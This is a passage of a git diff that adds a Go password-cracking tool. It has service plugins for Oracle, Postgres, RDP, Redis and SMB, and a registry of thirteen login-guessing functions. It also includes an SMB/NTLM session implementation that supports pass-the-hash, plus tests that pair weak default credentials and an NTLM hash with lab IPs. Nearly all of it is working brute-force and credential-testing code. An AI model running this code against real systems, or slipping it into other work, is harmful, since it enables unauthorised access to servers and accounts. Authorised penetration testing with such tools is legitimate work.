+ "fmt"
+ "github.com/sijms/go-ora/v2"
+ _ "github.com/sijms/go-ora/v2"
+ "strings"
+ "time"
+)
+
+var services = []string{
+ "orcl",
+ "xe",
+ "oracle",
+}
+
+func OracleCrack(serv *Service) int {
+ for _, service := range services {
+ conn, err := Conn(serv, service)
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ }
+ if conn {
+ return CrackSuccess
+ }
+ }
+ return CrackFail
+}
+
+func Conn(serv *Service, service string) (conn bool, err error) {
+ urlOptions := map[string]string{
+ "CONNECTION TIMEOUT": fmt.Sprintf("%v", serv.Timeout),
+ }
+ dataSourceName := go_ora.BuildUrl(serv.Ip, serv.Port, service, serv.User, serv.Pass, urlOptions)
+ db, err := sql.Open("oracle", dataSourceName)
+ if err != nil {
+ return
+ }
+ db.SetConnMaxLifetime(time.Duration(serv.Timeout) * time.Second)
+ db.SetConnMaxIdleTime(time.Duration(serv.Timeout) * time.Second)
+ db.SetMaxIdleConns(0)
+ err = db.Ping()
+ defer db.Close()
+ if err == nil {
+ conn = true
+ }
+ return
+}
diff --git a/pkg/crack/plugins/plugins.go b/pkg/crack/plugins/plugins.go
new file mode 100644
index 0000000..16a0360
--- /dev/null
+++ b/pkg/crack/plugins/plugins.go
@@ -0,0 +1,39 @@
+package plugins
+
+type Service struct {
+ Ip string
+ Port int
+ Protocol string
+ User string
+ Pass string
+ Timeout int
+}
+
+const (
+ CrackError = iota
+ CrackFail
+ CrackSuccess
+)
+
+type ScanFunc func(serv *Service) int
+
+var (
+ ScanFuncMap map[string]ScanFunc
+)
+
+func init() {
+ ScanFuncMap = make(map[string]ScanFunc)
+ ScanFuncMap["ftp"] = FtpCrack
+ ScanFuncMap["ssh"] = SshCrack
+ ScanFuncMap["wmi"] = WmiCrack
+ ScanFuncMap["wmihash"] = WmiHashCrack
+ ScanFuncMap["smb"] = SmbCrack
+ ScanFuncMap["mssql"] = MssqlCrack
+ ScanFuncMap["oracle"] = OracleCrack
+ ScanFuncMap["mysql"] = MysqlCrack
+ ScanFuncMap["rdp"] = RdpCrack
+ ScanFuncMap["postgres"] = PostgresCrack
+ ScanFuncMap["redis"] = RedisCrack
+ ScanFuncMap["memcached"] = MemcachedCrack
+ ScanFuncMap["mongodb"] = MongodbCrack
+}
diff --git a/pkg/crack/plugins/plugins_test.go b/pkg/crack/plugins/plugins_test.go
new file mode 100644
index 0000000..417d45b
--- /dev/null
+++ b/pkg/crack/plugins/plugins_test.go
@@ -0,0 +1,675 @@
+package plugins
+
+import (
+ "testing"
+)
+
+var RespMap = map[int]string{
+ CrackSuccess: "success",
+ CrackFail: "fail",
+ CrackError: "error",
+}
+
+func TestFtpCrack(t *testing.T) {
+ /*
+ === RUN TestFtpCrack
+ === RUN TestFtpCrack/success
+ plugins_test.go:43: success ftp:ftp
+ === RUN TestFtpCrack/fail
+ plugins_test.go:43: fail ftp:xxx
+ === RUN TestFtpCrack/error
+ plugins_test.go:43: error ftp:xxx
+ --- PASS: TestFtpCrack (10.02s)
+ --- PASS: TestFtpCrack/success (0.01s)
+ --- PASS: TestFtpCrack/fail (0.01s)
+ --- PASS: TestFtpCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 10.033s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "192.168.31.245",
+ Port: 21,
+ User: "ftp",
+ Pass: "ftp",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "192.168.31.245",
+ Port: 21,
+ User: "ftp",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 21,
+ User: "ftp",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := FtpCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestSshCrack(t *testing.T) {
+ /*
+ === RUN TestSshCrack
+ === RUN TestSshCrack/success
+ plugins_test.go:78: success root:root
+ === RUN TestSshCrack/fail
+ plugins_test.go:78: fail root:xxx
+ === RUN TestSshCrack/error
+ plugins_test.go:78: error root:xxx
+ --- PASS: TestSshCrack (11.54s)
+ --- PASS: TestSshCrack/success (0.14s)
+ --- PASS: TestSshCrack/fail (1.40s)
+ --- PASS: TestSshCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 11.555s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "192.168.243.11",
+ Port: 22,
+ User: "root",
+ Pass: "root",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "192.168.243.11",
+ Port: 22,
+ User: "root",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 22,
+ User: "root",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := SshCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestWmiCrack(t *testing.T) {
+ /*
+ === RUN TestWmiCrack
+ === RUN TestWmiCrack/success
+ plugins_test.go:130: success administrator:123qweASD
+ === RUN TestWmiCrack/fail
+ plugins_test.go:130: fail administrator:xxx
+ === RUN TestWmiCrack/error
+ plugins_test.go:130: error administrator:xxx
+ --- PASS: TestWmiCrack (10.95s)
+ --- PASS: TestWmiCrack/success (0.09s)
+ --- PASS: TestWmiCrack/fail (0.74s)
+ --- PASS: TestWmiCrack/error (10.12s)
+ PASS
+ ok crack/pkg/crack/plugins 10.963s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "192.168.243.10",
+ Port: 135,
+ User: "administrator",
+ Pass: "123qweASD",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "192.168.243.10",
+ Port: 135,
+ User: "administrator",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 135,
+ User: "administrator",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := WmiCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestWmiHashCrack(t *testing.T) {
+ /*
+ === RUN TestWmiHashCrack
+ === RUN TestWmiHashCrack/success
+ plugins_test.go:145: success administrator:257c7efa85ba45bb30b7da33f46a5225
+ === RUN TestWmiHashCrack/fail
+ plugins_test.go:145: fail administrator:257c7efa85ba45bb30b7da33f46a5220
+ === RUN TestWmiHashCrack/error
+ plugins_test.go:145: error administrator:257c7efa85ba45bb30b7da33f46a5220
+ --- PASS: TestWmiHashCrack (10.02s)
+ --- PASS: TestWmiHashCrack/success (0.01s)
+ --- PASS: TestWmiHashCrack/fail (0.01s)
+ --- PASS: TestWmiHashCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 10.031s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "192.168.243.10",
+ Port: 135,
+ User: "administrator",
+ Pass: "257c7efa85ba45bb30b7da33f46a5225",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "192.168.243.10",
+ Port: 135,
+ User: "administrator",
+ Pass: "257c7efa85ba45bb30b7da33f46a5220",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 135,
+ User: "administrator",
+ Pass: "257c7efa85ba45bb30b7da33f46a5220",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := WmiHashCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestSmbCrack(t *testing.T) {
+ /*
+ === RUN TestSmbCrack
+ === RUN TestSmbCrack/success
+ plugins_test.go:181: success administrator:123qweASD
+ === RUN TestSmbCrack/fail
+ plugins_test.go:181: fail administrator:xxx
+ === RUN TestSmbCrack/error
+ plugins_test.go:181: error administrator:xxx
+ --- PASS: TestSmbCrack (10.01s)
+ --- PASS: TestSmbCrack/success (0.01s)
+ --- PASS: TestSmbCrack/fail (0.01s)
+ --- PASS: TestSmbCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 10.028s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "192.168.243.10",
+ Port: 445,
+ User: "administrator",
+ Pass: "123qweASD",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "192.168.243.10",
+ Port: 445,
+ User: "administrator",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 445,
+ User: "administrator",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := SmbCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestMssqlCrack(t *testing.T) {
+ /*
+ === RUN TestMssqlCrack
+ === RUN TestMssqlCrack/success
+ plugins_test.go:218: success sa:123qweASD
+ === RUN TestMssqlCrack/fail
+ plugins_test.go:218: fail sa:xxx
+ === RUN TestMssqlCrack/error
+ plugins_test.go:218: error sa:xxx
+ --- PASS: TestMssqlCrack (10.02s)
+ --- PASS: TestMssqlCrack/success (0.01s)
+ --- PASS: TestMssqlCrack/fail (0.01s)
+ --- PASS: TestMssqlCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 10.031s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "127.0.0.1",
+ Port: 1433,
+ User: "sa",
+ Pass: "123qweASD",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "127.0.0.1",
+ Port: 1433,
+ User: "sa",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 1433,
+ User: "sa",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := MssqlCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestOracleCrack(t *testing.T) {
+ /*
+ === RUN TestOracleCrack
+ === RUN TestOracleCrack/success
+ &{28002 4 ORA-28002: the password will expire within 5 days
+ }
+ plugins_test.go:253: success system:oracle
+ === RUN TestOracleCrack/fail
+ plugins_test.go:253: fail system:xxx
+ === RUN TestOracleCrack/error
+ plugins_test.go:253: error system:xxx
+ --- PASS: TestOracleCrack (10.08s)
+ --- PASS: TestOracleCrack/success (0.05s)
+ --- PASS: TestOracleCrack/fail (0.03s)
+ --- PASS: TestOracleCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 10.096s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "127.0.0.1",
+ Port: 1521,
+ User: "system",
+ Pass: "oracle",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "127.0.0.1",
+ Port: 1521,
+ User: "system",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 1521,
+ User: "system",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := OracleCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestMysqlCrack(t *testing.T) {
+ /*
+ === RUN TestMysqlCrack
+ === RUN TestMysqlCrack/success
+ plugins_test.go:288: success root:123456
+ === RUN TestMysqlCrack/fail
+ plugins_test.go:288: fail root:xxx
+ === RUN TestMysqlCrack/error
+ plugins_test.go:288: error root:xxx
+ --- PASS: TestMysqlCrack (10.02s)
+ --- PASS: TestMysqlCrack/success (0.01s)
+ --- PASS: TestMysqlCrack/fail (0.00s)
+ --- PASS: TestMysqlCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 10.029s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "127.0.0.1",
+ Port: 3306,
+ //User: "root",
+ //Pass: "123456",
+ User: "test_user",
+ Pass: "test2022@",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "127.0.0.1",
+ Port: 3306,
+ User: "root",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 3306,
+ User: "root",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := MysqlCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestRdpCrack(t *testing.T) {
+ /*
+ === RUN TestRdpCrack
+ === RUN TestRdpCrack/success
+ plugins_test.go:321: success administrator:123qweASD
+ === RUN TestRdpCrack/fail
+ plugins_test.go:321: fail administrator:xxx
+ === RUN TestRdpCrack/error
+ plugins_test.go:321: error administrator:xxx
+ --- PASS: TestRdpCrack (11.21s)
+ --- PASS: TestRdpCrack/success (0.12s)
+ --- PASS: TestRdpCrack/fail (1.09s)
+ --- PASS: TestRdpCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 11.225s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "192.168.243.10",
+ Port: 3389,
+ User: "administrator",
+ Pass: "123qweASD",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "192.168.243.10",
+ Port: 3389,
+ User: "administrator",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "192.168.243.11",
+ Port: 3389,
+ User: "administrator",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := RdpCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestPostgresCrack(t *testing.T) {
+ /*
+ === RUN TestPostgresCrack
+ === RUN TestPostgresCrack/success
+ plugins_test.go:355: success postgres:password
+ === RUN TestPostgresCrack/fail
+ plugins_test.go:355: fail postgres:xxx
+ === RUN TestPostgresCrack/error
+ plugins_test.go:355: error postgres:xxx
+ --- PASS: TestPostgresCrack (10.01s)
+ --- PASS: TestPostgresCrack/success (0.01s)
+ --- PASS: TestPostgresCrack/fail (0.01s)
+ --- PASS: TestPostgresCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 10.027s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "127.0.0.1",
+ Port: 5432,
+ User: "postgres",
+ Pass: "password",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "127.0.0.1",
+ Port: 5432,
+ User: "postgres",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 5432,
+ User: "postgres",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := PostgresCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestRedisCrack(t *testing.T) {
+ /*
+ === RUN TestRedisCrack
+ === RUN TestRedisCrack/success
+ plugins_test.go:390: success :123456
+ === RUN TestRedisCrack/fail
+ plugins_test.go:390: fail :xxx
+ === RUN TestRedisCrack/error
+ plugins_test.go:390: error :xxx
+ --- PASS: TestRedisCrack (10.02s)
+ --- PASS: TestRedisCrack/success (0.02s)
+ --- PASS: TestRedisCrack/fail (0.00s)
+ --- PASS: TestRedisCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 10.036s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "127.0.0.1",
+ Port: 6379,
+ User: "",
+ Pass: "123456",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "127.0.0.1",
+ Port: 6379,
+ User: "",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 6379,
+ User: "",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := RedisCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestMemcachedCrack(t *testing.T) {
+ /*
+ 只检查未授权,不需要 TestMongodbCrack/fail 测试用例
+
+ === RUN TestMemcachedCrack
+ === RUN TestMemcachedCrack/error
+ plugins_test.go:432: error :xxx
+ === RUN TestMemcachedCrack/success
+ plugins_test.go:432: success :xxx
+ --- PASS: TestMemcachedCrack (10.01s)
+ --- PASS: TestMemcachedCrack/error (10.00s)
+ --- PASS: TestMemcachedCrack/success (0.01s)
+ PASS
+ ok crack/pkg/crack/plugins 10.021s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "127.0.0.1",
+ Port: 11211,
+ User: "",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 11211,
+ User: "",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := MemcachedCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
+
+func TestMongodbCrack(t *testing.T) {
+ /*
+ === RUN TestMongodbCrack
+ === RUN TestMongodbCrack/success
+ plugins_test.go:413: success admin:123456
+ === RUN TestMongodbCrack/fail
+ plugins_test.go:413: fail admin:xxx
+ === RUN TestMongodbCrack/error
+ plugins_test.go:413: error admin:xxx
+ --- PASS: TestMongodbCrack (10.01s)
+ --- PASS: TestMongodbCrack/success (0.01s)
+ --- PASS: TestMongodbCrack/fail (0.00s)
+ --- PASS: TestMongodbCrack/error (10.00s)
+ PASS
+ ok crack/pkg/crack/plugins 10.026s
+
+ 未授权时 TestMongodbCrack/fail 认证通过
+
+ === RUN TestMongodbCrack
+ === RUN TestMongodbCrack/error
+ plugins_test.go:428: error admin:xxx
+ === RUN TestMongodbCrack/success
+ plugins_test.go:428: success admin:123456
+ === RUN TestMongodbCrack/fail
+ plugins_test.go:428: success admin:xxx
+ plugins_test.go:430: sth wrong
+ --- FAIL: TestMongodbCrack (10.00s)
+ --- PASS: TestMongodbCrack/error (10.00s)
+ --- PASS: TestMongodbCrack/success (0.00s)
+ --- FAIL: TestMongodbCrack/fail (0.00s)
+ FAIL
+ exit status 1
+ FAIL crack/pkg/crack/plugins 10.016s
+ */
+ tests := map[string]Service{
+ "success": {
+ Ip: "127.0.0.1",
+ Port: 27017,
+ User: "admin",
+ Pass: "123456",
+ Timeout: 10,
+ },
+ "fail": {
+ Ip: "127.0.0.1",
+ Port: 27017,
+ User: "admin",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ "error": {
+ Ip: "127.0.0.2",
+ Port: 27017,
+ User: "admin",
+ Pass: "xxx",
+ Timeout: 10,
+ },
+ }
+ for name, tc := range tests {
+ t.Run(name, func(t *testing.T) {
+ got := MongodbCrack(&tc)
+ t.Logf("%v %v:%v", RespMap[got], tc.User, tc.Pass)
+ if name != RespMap[got] {
+ t.Error("sth wrong")
+ }
+ })
+ }
+}
diff --git a/pkg/crack/plugins/postgres.go b/pkg/crack/plugins/postgres.go
new file mode 100755
index 0000000..1bb7dac
--- /dev/null
+++ b/pkg/crack/plugins/postgres.go
@@ -0,0 +1,30 @@
+package plugins
+
+import (
+ "database/sql"
+ "fmt"
+ _ "github.com/lib/pq"
+ "strings"
+ "time"
+)
+
+func PostgresCrack(serv *Service) int {
+ dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v&connect_timeout=%v", serv.User, serv.Pass, serv.Ip, serv.Port, "", "disable", serv.Timeout)
+ db, err := sql.Open("postgres", dataSourceName)
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ db.SetConnMaxLifetime(time.Duration(serv.Timeout) * time.Second)
+ defer db.Close()
+ err = db.Ping()
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ return CrackSuccess
+}
diff --git a/pkg/crack/plugins/rdp.go b/pkg/crack/plugins/rdp.go
new file mode 100755
index 0000000..24a6cf7
--- /dev/null
+++ b/pkg/crack/plugins/rdp.go
@@ -0,0 +1,19 @@
+package plugins
+
+import (
+ "fmt"
+ "github.com/niudaii/crack/pkg/crack/plugins/grdp"
+ "strings"
+)
+
+func RdpCrack(serv *Service) int {
+ addr := fmt.Sprintf("%v:%v", serv.Ip, serv.Port)
+ err := grdp.Login(addr, "", serv.User, serv.Pass, serv.Timeout)
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ return CrackSuccess
+}
diff --git a/pkg/crack/plugins/redis.go b/pkg/crack/plugins/redis.go
new file mode 100755
index 0000000..941d534
--- /dev/null
+++ b/pkg/crack/plugins/redis.go
@@ -0,0 +1,28 @@
+package plugins
+
+import (
+ "fmt"
+ "github.com/go-redis/redis"
+ "strings"
+ "time"
+)
+
+func RedisCrack(serv *Service) int {
+ addr := fmt.Sprintf("%v:%v", serv.Ip, serv.Port)
+ opt := redis.Options{
+ Addr: addr,
+ Password: serv.Pass,
+ DB: 0,
+ DialTimeout: time.Duration(serv.Timeout) * time.Second,
+ }
+ client := redis.NewClient(&opt)
+ defer client.Close()
+ _, err := client.Ping().Result()
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ return CrackSuccess
+}
diff --git a/pkg/crack/plugins/smb.go b/pkg/crack/plugins/smb.go
new file mode 100755
index 0000000..45988d7
--- /dev/null
+++ b/pkg/crack/plugins/smb.go
@@ -0,0 +1,30 @@
+package plugins
+
+import (
+ "github.com/niudaii/crack/pkg/crack/plugins/smb"
+ "strings"
+)
+
+func SmbCrack(serv *Service) int {
+ options := smb.Options{
+ Host: serv.Ip,
+ Port: serv.Port,
+ User: serv.User,
+ Password: serv.Pass,
+ Domain: "",
+ Workstation: "",
+ Timeout: serv.Timeout,
+ }
+ session, err := smb.NewSession(options, false)
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ session.Close()
+ if session.IsAuthenticated {
+ return CrackSuccess
+ }
+ return CrackFail
+}
diff --git a/pkg/crack/plugins/smb/session.go b/pkg/crack/plugins/smb/session.go
new file mode 100644
index 0000000..8625ce1
--- /dev/null
+++ b/pkg/crack/plugins/smb/session.go
@@ -0,0 +1,394 @@
+//nolint
+package smb
+
+import (
+ "bufio"
+ "bytes"
+ "encoding/asn1"
+ "encoding/binary"
+ "encoding/hex"
+ "errors"
+ "fmt"
+ "io"
+ "log"
+ "net"
+ "runtime/debug"
+ "time"
+
+ "github.com/stacktitan/smb/gss"
+ "github.com/stacktitan/smb/ntlmssp"
+ "github.com/stacktitan/smb/smb/encoder"
+)
+
+type Session struct {
+ IsSigningRequired bool
+ IsAuthenticated bool
+ debug bool
+ securityMode uint16
+ messageID uint64
+ sessionID uint64
+ conn net.Conn
+ dialect uint16
+ options Options
+ trees map[string]uint32
+}
+
+type Options struct {
+ Host string
+ Port int
+ Workstation string
+ Domain string
+ User string
+ Password string
+ Hash string
+
+ Timeout int
+}
+
+func validateOptions(opt Options) error {
+ if opt.Host == "" {
+ return errors.New("Missing required option: Host")
+ }
+ if opt.Port < 1 || opt.Port > 65535 {
+ return errors.New("Invalid or missing value: Port")
+ }
+ return nil
+}
+
+func NewSession(opt Options, debug bool) (s *Session, err error) {
+
+ if err = validateOptions(opt); err != nil {
+ return nil, err
+ }
+
+ conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", opt.Host, opt.Port), time.Duration(opt.Timeout)*time.Second)
+ if err != nil {
+ return
+ }
+
+ s = &Session{
+ IsSigningRequired: false,
+ IsAuthenticated: false,
+ debug: debug,
+ securityMode: 0,
+ messageID: 0,
+ sessionID: 0,
+ dialect: 0,
+ conn: conn,
+ options: opt,
+ trees: make(map[string]uint32),
+ }
+
+ s.Debug("Negotiating protocol", nil)
+ err = s.NegotiateProtocol()
+ if err != nil {
+ return
+ }
+
+ return s, nil
+}
+
+func (s *Session) Debug(msg string, err error) {
+ if s.debug {
+ log.Println("[ DEBUG ] ", msg)
+ if err != nil {
+ debug.PrintStack()
+ }
+ }
+}
+
+func (s *Session) NegotiateProtocol() error {
+ negReq := s.NewNegotiateReq()
+ s.Debug("Sending NegotiateProtocol request", nil)
+ buf, err := s.send(negReq)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+
+ negRes := NewNegotiateRes()
+ s.Debug("Unmarshalling NegotiateProtocol response", nil)
+ if err := encoder.Unmarshal(buf, &negRes); err != nil {
+ s.Debug("Raw:\n"+hex.Dump(buf), err)
+ return err
+ }
+
+ if negRes.Header.Status != StatusOk {
+ return fmt.Errorf(fmt.Sprintf("NT Status Error: %d\n", negRes.Header.Status))
+ }
+
+ // Check SPNEGO security blob
+ spnegoOID, err := gss.ObjectIDStrToInt(gss.SpnegoOid)
+ if err != nil {
+ return err
+ }
+ oid := negRes.SecurityBlob.OID
+ if !oid.Equal(asn1.ObjectIdentifier(spnegoOID)) {
+ return errors.New(fmt.Sprintf(
+ "Unknown security type OID [expecting %s]: %s\n",
+ gss.SpnegoOid,
+ negRes.SecurityBlob.OID))
+ }
+
+ // Check for NTLMSSP support
+ ntlmsspOID, err := gss.ObjectIDStrToInt(gss.NtLmSSPMechTypeOid)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+
+ hasNTLMSSP := false
+ for _, mechType := range negRes.SecurityBlob.Data.MechTypes {
+ if mechType.Equal(asn1.ObjectIdentifier(ntlmsspOID)) {
+ hasNTLMSSP = true
+ break
+ }
+ }
+ if !hasNTLMSSP {
+ return errors.New("Server does not support NTLMSSP")
+ }
+
+ s.securityMode = negRes.SecurityMode
+ s.dialect = negRes.DialectRevision
+
+ // Determine whether signing is required
+ mode := uint16(s.securityMode)
+ if mode&SecurityModeSigningEnabled > 0 {
+ if mode&SecurityModeSigningRequired > 0 {
+ s.IsSigningRequired = true
+ } else {
+ s.IsSigningRequired = false
+ }
+ } else {
+ s.IsSigningRequired = false
+ }
+
+ s.Debug("Sending SessionSetup1 request", nil)
+ ssreq, err := s.NewSessionSetup1Req()
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+ ssres, err := NewSessionSetup1Res()
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+ buf, err = encoder.Marshal(ssreq)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+
+ buf, err = s.send(ssreq)
+ if err != nil {
+ s.Debug("Raw:\n"+hex.Dump(buf), err)
+ return err
+ }
+
+ s.Debug("Unmarshalling SessionSetup1 response", nil)
+ if err := encoder.Unmarshal(buf, &ssres); err != nil {
+ s.Debug("", err)
+ return err
+ }
+
+ challenge := ntlmssp.NewChallenge()
+ resp := ssres.SecurityBlob
+ if err := encoder.Unmarshal(resp.ResponseToken, &challenge); err != nil {
+ s.Debug("", err)
+ return err
+ }
+
+ if ssres.Header.Status != StatusMoreProcessingRequired {
+ status := StatusMap[negRes.Header.Status]
+ return fmt.Errorf(fmt.Sprintf("NT Status Error: %s\n", status))
+ }
+ s.sessionID = ssres.Header.SessionID
+
+ s.Debug("Sending SessionSetup2 request", nil)
+ ss2req, err := s.NewSessionSetup2Req()
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+
+ var auth ntlmssp.Authenticate
+ if s.options.Hash != "" {
+ // Hash present, use it for auth
+ s.Debug("Performing hash-based authentication", nil)
+ auth = ntlmssp.NewAuthenticateHash(s.options.Domain, s.options.User, s.options.Workstation, s.options.Hash, challenge)
+ } else {
+ // No hash, use password
+ s.Debug("Performing password-based authentication", nil)
+ auth = ntlmssp.NewAuthenticatePass(s.options.Domain, s.options.User, s.options.Workstation, s.options.Password, challenge)
+ }
+
+ responseToken, err := encoder.Marshal(auth)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+ resp2 := ss2req.SecurityBlob
+ resp2.ResponseToken = responseToken
+ ss2req.SecurityBlob = resp2
+ ss2req.Header.Credits = 127
+ buf, err = encoder.Marshal(ss2req)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+
+ buf, err = s.send(ss2req)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+ s.Debug("Unmarshalling SessionSetup2 response", nil)
+ var authResp Header
+ if err := encoder.Unmarshal(buf, &authResp); err != nil {
+ s.Debug("Raw:\n"+hex.Dump(buf), err)
+ return err
+ }
+ if authResp.Status != StatusOk {
+ status := StatusMap[authResp.Status]
+ return errors.New(fmt.Sprintf("NT Status Error: %s\n", status))
+ }
+ s.IsAuthenticated = true
+
